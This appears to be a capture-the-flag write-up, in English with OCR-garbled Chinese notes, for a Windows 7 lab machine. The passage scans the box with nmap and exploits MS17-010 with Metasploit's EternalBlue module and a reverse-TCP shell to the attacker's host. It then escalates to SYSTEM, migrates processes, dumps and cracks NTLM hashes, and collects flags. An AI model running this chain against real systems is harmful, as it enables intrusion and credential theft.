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GIENGE:S

Task1 Recon

scan the mechine

How many ports are open with a port number under 10007

What is this machine vulnerable to?

Task2 Gain Access

Start Metasploit

Find the exploitation code we will run against the machine. What is the full path of the code?
Show options and set the one required value. What is the name of this value

With that done, run the exploit!

Task3 Escalate

Select this (use MODULE_PATH). Show options, what option are we required to change?
Set the required option, you may need to list all of the sessions to find your target here.
Run

Once the meterpreter shell conversion completes, select that session for use.

Verify that we have escalated to NT AUTHORITY\ASYSTEM. Run getsystem to confirm this. Feel free to open a
dos shell via the command 'shell' and run 'whoami'.

move process to NT AUTHORITY\SYSTEM(FA™ 17 & 3+)

Task4 Cracking

run the command 'hashdump'.What is the name of the non-default user?

Copy this password hash to a file and research how to crack it

Task5 Find flags!

ISE]

Flag1? This flag can be found at the system root.
Flag2? This flag can be found at the location where passwords are stored within Windows.

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty
interesting things saved.
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Task1 Recon

scan the mechine

Scan the machine. (If you are unsure how to tackle this, | recommend checking out the Nmap room)

No answer needed

How many ports are open with a port number under 1000?

3

ms17-010

TREEHLLLE AT LAE W —MESS RN BArip# T 8 GERME ORI &R RF MBS UL EmmapfiR-REY3) , KRR
B, FAhntROLBHSEIRRKT, BERXEHN W IERE

nmap -sV -vv --script vuln TARGET_IP

nmap A& ¥, HHEM#M TR

-sV fRA R

-vv i 45 SR B VR A0 S

—script ¥& & Finmapfii4s, BT CAEMAAEM, XEMERKZVUNEZA, #3RE BRI EHR & LIRFE

PSR

Completed NSE at 20:45, 68.73s elapsed
Nmap scan report for 10.10.175.7
Host is up, received echo-reply ttl 125 (©.47s latency).
Scanned at 2021-02-04 20:40:48 HKT for 261s
Not shown: 991 closed ports
991 resets
STATE SERVICE REASON VERSION
open msrpc syn-ack 125 Microsoft Windows RPC
open netbios-ssn syn-ack 125 Microsoft Windows netbios-ssn
open microsoft-ds syn-ack 125 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
open ssl/ms-wbt-server? syn-ack 125
rdp-vuln-ms12-020:
VULNERABLE:
MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
State: VULNERABLE
IDs: CVE:CVE-2012-0152
Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)

Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service)

Disclosure date: 2012-03-13

References:
http://technet.microsoft.com/en-us/security/bulletin/ms12-020
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152

MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
State: VULNERABLE
IDs: CVE:CVE-2012-0002
Risk factor: High (CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)




Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on

the targeted system.

Disclosure date: 2012-03-13
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
http://technet.microsoft.com/en-us/security/bulletin/ms12-020
_sslv2-drown:
open msrpc syn-ack ttl 125 Microsoft Windows RPC
open msrpc syn-ack ttl 125 Microsoft Windows RPC
open msrpc syn-ack ttl 125 Microsoft Windows RPC
open msrpc syn-ack ttl 125 Microsoft Windows RPC
open msrpc syn-ack ttl 125 Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
_smb-vuln-ms10-054: false
_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1l servers (msl17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1l
servers (msl7-010).

Disclosure date: 2017-03-14

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 296.15 seconds

Raw packets sent: 1968 (86.568KB) Rcvd: 1099 (43.996KB)

How many ports are open with a port number under 1000?

BH A Z DA 05 /MF100/ 5 D 2T, MI\EAMER, BEARRIN, FTUERAN3
What is this machine vulnerable to?
BHRAZXEVSHNR S, BREmaplHFHEER, ZERARBRNEEZRMs17-0107T

Task2 Gain Access




Exploit the machine and gain a foothold.

Exploit the machine and gain a foothold.

Start Metasploit

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value? (All caps for submission)

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following
command and press enter:

set payload windows/x64/shell/reverse_tcp

With that done, run the exploit!

Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have
to reboot the target VM. Try running it again before a reboot of the target.

No answer needed Question Done

Start Metasploit

Jashmsf, XAMBREI#, f#FH msfconsole ar4 B, HAEAXEFAVPMANRE, ERNE—IRMEH msfconsole LRI, HIFILfH
Fl msfdb init X} H¥EEBATYIML, BRI TR search FIE



r—(rootBdebian)-[/home/yeedo]

EXPLOIT

[msf >]

\(@) (@) (@) (@) (@) (@) (@)/

3k 3k 3k sk 3k ok 5k >k sk >k ok 3k ok %k >k %k >k ok >k ok k

ANANAANNNNNNANA | ]

PAYLOAD

(@) (@)

metasploit v6.0.28-dev

2097 exploits - 1128 auxiliary - 356 post
592 payloads - 45 encoders - 10 nops

7 evasion

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true

ER)

HI msfe > UEHRATHR LN BImsH THE R T
Find the exploitation code we will run against the machine. What is the full path of the code?

AR E M EAR BB R, HIRE SBRRA R, BRINCHIFFE S AMs17-010, AImsfif] search fr &K



ms 6 search ms17-010

Matching Modules

© auxiliary/admin/smb/ms17_010 command 2017-03-14 normal MS17-010 EternalRomance/Et
ernalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17 010 normal MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_ 010 eternalblue 2017-03-14 average MS17-010 EternalBlue SMB R
Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010 eternalblue _win8 2017-03-14 average MS17-010 EternalBlue SMB R
Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010 psexec 2017-03-14 normal MS17-010 EternalRomance/Et
ernalSynergy/EternalChampion SMB Remote Windows Code Execution
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great SMB DOUBLEPULSAR Remote Co
de Execution

Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_n

<@

BRERERHEBILEONRA, BRI 6 A

OF11 Rauxiliaryf&Ese, BIPRS00 7w LA FH 2R
2R BATTREM ST, win7KIiEZ &

3RS wWin8 ) 7 18 2 1K # A

4RKIEIRE, HRmMs17-010MFIH TR, BEXHITTLLETEE
5%&DoublePulsar ik 2, nsaR#EEZ—, HAEER

BT LLiZ & Bt exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value

B H & A Ishow optionsBH — /MU IE, XBEBRMNEHRAEMSIE use IR, FHEH show options fiFé
FAMEH use 2 Bi#E use exploit/windows/smb/ms17_010 eternalblue W]



mst6 use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse tcp
msf6 exploit(windows/smb/ms17_ 010 eternalblue) show options

Module options (exploit/windows/smb/msl17_ 010 eternalblue):

Name Current Setting Required Description

RHOSTS The target host(s), range CIDR identifier, or hosts file with synta

RPORT The target port (TCP)

SMBDomain . (Optional) The Windows domain to use for authentication
SMBPass (Optional) The password for the specified username
SMBUser (Optional) The username to authenticate as

VERIFY_ARCH true Check if remote architecture matches exploit Target.
VERIFY_TARGET true Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: , seh, thread, process, none)
LHOST 192.168.1.137 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

Windows 7 and Server 2008 R2 (x64) All Service Packs

BRZTHE KA RHOSTS T, ZE R B ARHOSTS

With that done, run the exploit!

XEBEERERETWALL, HEATHGE, BERRNEH set payload windows/x64/shell/reverse_tcp X/ -payload,
RS H R, % Epayload

msf6 exploit(windows/smb/ms17_ 010 eternalblue) set payload windows/x64/shell/reverse_tcp
payload windows/x64/shell/reverse_tcp

WEITE, RINEFEEE RHOSTS Fl LHOSTS ,  RHOSTS ZHRATHIEIRFE, 1 LHOSTS & B NBA1E FH i Zreverseffpayload,
FrUATR B B F 3 IS T bk, H RHOSTS W B A B AR#EHL LHOSTS W B AKEHHLEI W], B 5B AT exploit BRI KA
(RIEE = E—E IR, R R DLE S — L)




msf6 exploit(windows/smb/ms17 010 eternalblue) run

Started reverse TCP handler on 10.4.28.194:4444

10.10.125.255:445 - Using auxiliary/scanner/smb/smb_ms17 010 as check

10.10.125.255:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1
(64-bit)

10.10.125.255:445 - Scanned 1 of 1 hosts (100% complete)

10.10.125.255:445 - Connecting to target for exploitation.

10.10.125.255:445 Connection established for exploitation.

10.10.125.255:445 Target OS selected valid for OS indicated by SMB reply

10.10.125.255:445 CORE raw buffer dump (42 bytes)

10.10.125.255:445 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
10.10.125.255:445 0x00000010 73 69 6f 6e 61 6C 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
10.10.125.255:445 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
10.10.125.255:445 Target arch selected valid for arch indicated by DCE/RPC reply
10.10.125.255:445 Trying exploit with 12 Groom Allocations.

10.10.125.255:445 Sending all but last fragment of exploit packet

10.10.125.255:445 Starting non-paged pool grooming

10.10.125.255:445 Sending SMBv2 buffers

10.10.125.255:445 Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.
10.10.125.255:445 Sending final SMBv2 buffers.

10.10.125.255:445 Sending last fragment of exploit packet

10.10.125.255:445 Receiving response from exploit packet

10.10.125.255:445 ETERNALBLUE overwrite completed successfully (©xC000000D)

10.10.125.255:445 - Sending egg to corrupted connection.

10.10.125.255:445 - Triggering free of corrupted buffer.

Sending stage (336 bytes) to 10.10.125.255

Command shell session 1 opened (10.4.28.194:4444 -> 10.10.125.255:49170) at 2021-02-04 21:51:53 +0800
10.10.125.255:445 - =-=- =

10.10.125.255:445 - =-=- =

10.10.125.255:445 - =-=- =

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32

XA RN ZER] T — N emdifshell, BB HEER, HAEFHctri+z¥sessioni )5 &

Task3 Escalate



Escalate privileges, learn how to upgrade shells in metasploit.

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the
name of the post module we will use? (Exact path, similar to the exploit we previously selected)

Select this (use MODULE_PATH). Show options, what option are we required to change? (All caps for answer)

Set the required option, you may need to list all of the sessions to find your target here.

Run! If this doesn't work, try completing the exploit from the previous task once more.

Once the meterpreter shell conversion completes, select that session for use.

No answer needed Question Done

Once the meterpreter shell conversion completes, select that session for use.

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'.
This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

No answer needed Question Done

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list
that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

No answer needed Question Done

Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several
attempts, migrating processes is not very stable. I this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this
happens, try a different process next time.

No answer needed Question Done

1. Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use?

BEMBAIFRE—T, EafB—DEi#Eshel$EF Hmeterpreter shell, & FpostiFith BB —AN 86, RI\RR

Google this: shell_to_meterpreter

Y& & shell_to_meterpreter, HR#EIXAN3C & Metasploitd ¥ shellFt g Aymetepreter shell
EATTCAEH, | LN post/multi/manage/shell_to_meterpreter

Select this (use MODULE_PATH). Show options, what option are we required to change?

& H Y RATE X M modulesR 5 show options FATEE KW/ options


https://blog.csdn.net/weixin_43379478/article/details/85720083

msf6 exploit(windows/smb/ms17 010 eternalblue) use post/multi/manage/shell to meterpreter
msf6 post(multi/manage/shell to meterpreter) show options

Module options (post/multi/manage/shell to_meterpreter):

Name Current Setting Required Description

HANDLER true Start an exploit/multi/handler to receive the connection

LHOST IP of host that will receive the connection from the payload (Will try to
auto detect).

LPORT 4433 Port for payload to connect to.

SESSION The session to run this module on.

B, XBERMNIPLZIEEsession, B Euk& SESSION
Set the required option, you may need to list all of the sessions to find your target here.

M IRATEE XA R, BRATAT EEE S i sessionsk Fltarget, 7EIXE, %I fifa sessionfli 4 sessions -1, HEAER
14 F ctri+zf B %, 387~ sessionffid, 1, ArLAFA] set session 1 EPH]

Run

FRHE run M

msf6 post(multi/manage/shell _to_meterpreter) set session 1
session 1

msf6 post(multi/manage/shell_to_meterpreter) run

Upgrading session ID: 1

Starting exploit/multi/handler

Started reverse TCP handler on 10.4.28.194:4433
Post module execution completed

msf6 post(multi/manage/shell _to_meterpreter)

[*] Sending stage (175174 bytes) to 10.10.125.255

[*] Meterpreter session 2 opened (10.4.28.194:4433 -> 10.10.125.255:49189) at 2021-02-04 22:04:46 +0800
[*] Stopping exploit/multi/handler

REAFAM, Erstopping exploit/multi/handlerbl ), ZEIZE—TF&ER|msfiEFm, HLoLESImsfiKishell T,
A sessions -1 AJPAFIH

Once the meterpreter shell conversion completes, select that session for use.

Y FRATE A msfifishell, fF#v4 sessions MSFSHELL_ID B AJ



msf6 post(multi/manage/shell to meterpreter) sessions -1

Active sessions

Name Type Information Connection

shell x64/windows 10.4.28.194:4444 -> 10.10.125.255:49170 (10.1
.255)

meterpreter x86/windows NT AUTHORITY\SYSTEM @ JON-PC 10.4.28.194:4433 -> 10.10.125.255:49189 (10.1
.255)

msf6 post(multi/manage/shell_to_meterpreter) session 2
[-] Unknown command: session.
msf6 post(multi/manage/shell_to_meterpreter) sessions 2

[*] Starting interaction with 2...

meterpreter

HIERNTEE] meterpreter > B, HLRETEMEHmsfshell T

NBHAI—FTriE, BAIH LW LLFE B HEIE sessions -u TARGET_ID #iF] LLH i iEcmdshellF 4 imsfshell T, & R FK
M ERER SRR K, ERESEN XKLL PIRTAH, EEMRR.

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel
free to open a dos shell via the command ‘shell’ and run ‘whoami’.

MY ZGIF AT LB NT AUTHORITY\SYSTEM RLFR T, f#FH getsystem SRIGIF, A MIEATHcmdshel#iiTwhoamikE & .
XA R BRI

NT AUTHORITY\SYSTEMAFR RGN EBIK S J A R4 IHH & HIAR, 7T LU /A B EE s Windows & = AR
getsystem XA 418 H B f# Bimsfshell F BB A4, HSzsepr B EHE RAH 74 8655, WmHA — KRG, @B EN T %EH -
BATIE R I FoAth v HB VR SRR AT B2 AL, X B H o B B f F getsystemB A]

BERET LEXEAIR, RIBMATCRPAT T a4 7T

meterpreter getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter shell

Process 852 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami

nt authority\system

C:\Windows\system32

FAE 2 FE BlwhoamiBi AT /FIR[E )& nt authority\system HIARAIE L4 T B EHR

*FE— A, fEmsfshel P $HAT getuid a4 AT AR B H R HER



meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

move process to NT AUTHORITY\SYSTEM(# 4™ i i & 3F)

BT RPN B #RAE S VREAT, BARBA

TR E

X BEBRAVE A B ZmsfshellF /) ps 54, FIHBFEE R, migrate PROCESS_ID fr&¥VEAN

meterpreter ps

Process List

Name

[System Process]
System
Smss.exe
LogonUI.exe
svchost.exe
conhost.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
lsm.exe
svchost.
svchost.
cmd. exe
svchost.
svchost.

SearchIndexer.exe

svchost.exe

meterpreter migrate 1476

AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM

AUTHORITY\NETWORK SERVICE

AUTHORITY\SYSTEM

AUTHORITY\SYSTEM

BRRT, ERMNEAKREITEAR, MBI HBEAND] —MRERE

:\Windows\System32\smss.exe
:\Windows\System32\LogonUI.exe
:\Windows\System32\svchost.exe
:\Windows\System32\conhost.exe
:\Windows\System32\csrss.exe
:\Windows\System32\wininit.exe
:\Windows\System32\csrss.exe
:\Windows\System32\winlogon.exe|
:\Windows\System32\services.exe
:\Windows\System32\1lsass.exe
:\Windows\System32\1lsm.exe
:\Windows\System32\svchost.exe
:\Windows\System32\svchost.exe
:\Windows\SysWOW64\cmd. exe
:\Windows\System32\svchost.exe

:\Windows\System32\SearchIndexe

:\Windows\System32\svchost.exe

[*] Migrating from 1632 to 1476...

[*] Migration completed successfully.

BATATLLE B ps JFHE—FIEAHERPIdS, F6FIRHEERuser, FEMEEFE—NT AUTHORIMSYSTEMH#EFEiE AN BN AT,
INRREBEMBEEAART , BHI— AT .

Task4 Cracking




Dump the non-default user's password and crack it!

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct
privileges to do so. What is the name of the non-default user?

Jon

Copy this password hash to a file and research how to crack it. What is the cracked password?

algfna22

run the command ‘hashdump’.What is the name of the non-default user?

X—B M EATEmMsTshellfE fl hashdump SRIRELES EAFRERIERS, IEHBATHE—RAEBRINE T, ZXEM— ST/

VER: hashdump A Zi7E s AR F 7 T $AT !
Windows7E/system/config X4 BISAMSZ {748 T R4 A A P 2 %S, HABMEEE T % . hashdumpili2 % RBUXANSAM
SCHEFEIREL H AR ELKI K 5 % iBhash(z &

BBERIMT, XEMBE—T hashdump BIEE B4 H 4%

FF4: SID: LMiG#A: NTLMPRF::

meterpreter hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089cO: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢O: : :
Jon:1000:aad3b435b51404eeaad3b435b51404ee: ffb43f0de35bedd9917acOcc8ad5718d: : :

EiXE, RINPERLLEH Adninistrator fl Guest £WindowsER A B BFSREK 7, Jon BERLRINTERFIEERAAF
Copy this password hash to a file and research how to crack it

BT RERAH Z Z W jonF i hash, IE— BB R—RAMEE, GELMIGET AR, X BHERE—ESNKINTLMBL #
W] 35 [ 4 PO NTL MV A2 P9 35

ffb43f0de35be4d9917ac0cc8ad57f8d l GO

$at Adil erackanar -
ultat du cracka

EHEEEE TEAME, RAIE S Eljonk S KBISTA algfna22

TaskS5 Find flags!


https://www.objectif-securite.ch/ophcrack

Flag1? This flag can be found at the system root.

flag{access_the_machine}

Flag2? This flag can be found at the location where passwords are stored within Windows.

*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine
and rerun the exploit to find this flag. This relatively rare, however, it can happen.

flag{sam_database_elevated_access}

flag3? This Flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

flag{admin_documents_can_be_valuable}

Flag1? This flag can be found at the system root.

RIERE H IR, X AMlagil IER IR B KB, BERIXE, ROHMTUERDS HERETREELNEET, HWEAHRDPZ
&R, WX ERMAKcmdshelbk#EAT T4 .

meterpreter shell

Process 2692 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd c:\

Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of c:\

01:27 PM 24 flagl.txt
09:20 PM DIR PerflLogs
02:28 AM DIR Program Files
04:28 PM DIR Program Files (x86)
09:13 PM DIR Users
04:36 PM DIR Windows
1 File(s) 24 bytes
5 Dir(s) 20,444,147,712 bytes free

txt

flag{access_the_machine}

fEc\H 3 FEP A R Flflag
Flag2? This flag can be found at the location where passwords are stored within Windows.

3 = AMlagi H i 7] PAFEWindows /76 250 ) 3 5 $R 2, AR5t & SAMSC 4 B B 42 Windows7 T SAMSC {4 ) #5645
A C:\Windows\System32\config FAllcdid & EI ATk Flflag



c:\>cd C:\Windows\System32\config
cd C:\Windows\System32\config

C:\Windows\System32\config>dir

dir

Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of C:\Windows\System32\config

07:50 AM DIR
07:50 AM DIR oc
05:00 PM 28,672 BCD-Template
08:00 AM 18,087,936 COMPONENTS
08:20 AM 262,144 DEFAULT
01:32 PM 34 flag2.txt
08:34 PM Journal
08:19 AM RegBack
02:05 PM 262,144 SAM
08:01 AM 262,144 SECURITY
08:27 AM 40,632,320 SOFTWARE
08:56 AM 12,582,912 SYSTEM
08:41 PM DIR systemprofile
05:03 PM DIR TxR

8 File(s) 72,118,306 bytes

6 Dir(s) 20,444,143,616 bytes free

C:\Windows\System32\config>type flag2.txt
type flag2.txt
flag{sam_database_elevated_access}

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually
have pretty interesting things saved.

XAMlagiRRIEN, BRERENMT, EERARERFUREERD, MERAVFN R XA, windowsH 2 S04 R k42
ﬂﬂc:\Users\USER_NAME\documents,ﬁ%?giﬁﬁ]ZEJonﬁﬁjCﬂ#?%W:fﬁ§U]’ﬁiﬂag

C:\Windows\System32\config>cd c:\Users\Jon\Documents
cd c:\Users\Jon\Documents

c:\Users\Jon\Documents>dir

dir

Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of c:\Users\Jon\Documents

09:49 PM DIR
09:49 PM DIR 5C
01:26 PM 37 flag3.txt
1 File(s) 37 bytes
2 Dir(s) 20,444,139,520 bytes free

c:\Users\Jon\Documents>type flag3.txt
type flag3.txt
flag{admin_documents_can_be_valuable}




XANEEAN N ZRIET, MEAEHcmdE dir 474 B Emsfshellif) search & RATAT LLR 5 KRBT Hiflag.

meterpreter search -f flag*.txt

Found 3 results...
c:\flagl.txt (24 bytes)
c:\Users\Jon\Documents\flag3.txt (37 bytes)
c:\Windows\System32\config\flag2.txt (34 bytes)

C:\Windows\system32>cd c:\

cd c:\

c:\>dir flag*.txt /s/b

dir flag*.txt /s/b

c:\flagl.txt
c:\Users\Jon\Documents\flag3.txt
c:\Windows\System32\config\flag2.txt

ZHEBNMEEIEL2W T
o 4

VA = |

XA roomit AR LK H BATEE T BN H G HIRIEHLESETSE, BB EAZ I msfifE A EHRMKIAR, WREREPRE
I T AR, EEERIRIREERME, — RN RRR, R BERRA, RIEAR, MIZBEERXKREET .. of
iR Ab, BEAAIEN.
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